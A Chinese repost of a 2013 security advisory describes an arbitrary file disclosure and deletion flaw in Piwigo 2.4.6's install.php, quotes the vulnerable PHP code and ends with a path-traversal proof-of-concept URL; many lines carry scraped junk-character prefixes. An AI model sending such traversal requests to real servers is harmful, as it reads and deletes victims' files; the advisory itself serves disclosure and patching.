Piwigo任意文件泄露和任意文件删除漏洞

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Piwigo是用PHP编写的相册脚本。
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1 }/ `0 x0 E5 n1 p/ ]1 aPiwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值，在实现上存在安全漏洞，攻击者可利用这些漏洞查看受影响计算机上的任意文件，删除受影响应用上下文内的任意文件。
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' Y) _9 l0 E: E0 R: x" _) q/install.php:
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2 U  y% g2 A; @- g" o113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
2 E+ i; Z. q' {- p; H114: {
& F. V1 ?& @0 G2 v' _" E115:   $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
116:   header('Cache-Control: no-cache, must-revalidate');
117:   header('Pragma: no-cache');
118:   header('Content-Disposition: attachment; filename="database.inc.php"');
119:   header('Content-Transfer-Encoding: binary');
# j7 X- h; a; }' D1 ]0 O4 U+ n4 N120:   header('Content-Length: '.filesize($filename));
2 ^9 [3 o7 k; e3 A8 O  d6 r3 S121:   echo file_get_contents($filename);
122:   unlink($filename);
123:   exit();
5 a+ M+ D7 x) ]: k124: }
9 H( ~+ w# Z! G' ^, Y====================================================================

) p% T- M9 \. T& \5 P. wTested on: Microsoft Windows 7 Ultimate SP1 (EN)
           Apache 2.4.2 (Win32)
; p) K- Y* Z: o, }# P2 K5 W' D2 D) f           PHP 5.4.4
           MySQL 5.5.25a
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* g4 `& F4 A. P( mVulnerability discovered by Gjoko 'LiquidWorm' Krstic
$ J( U; @+ C$ |4 X6 M- J4 |/ @                            @zeroscience
' i$ G( E" e' t8 ?1 g9 O
) t9 g2 n! O: O) n5 UAdvisory ID: ZSL-2013-5127
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
Vendor Patch: http://piwigo.org/bugs/view.php?id=2843
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15.02.2013

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http://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt

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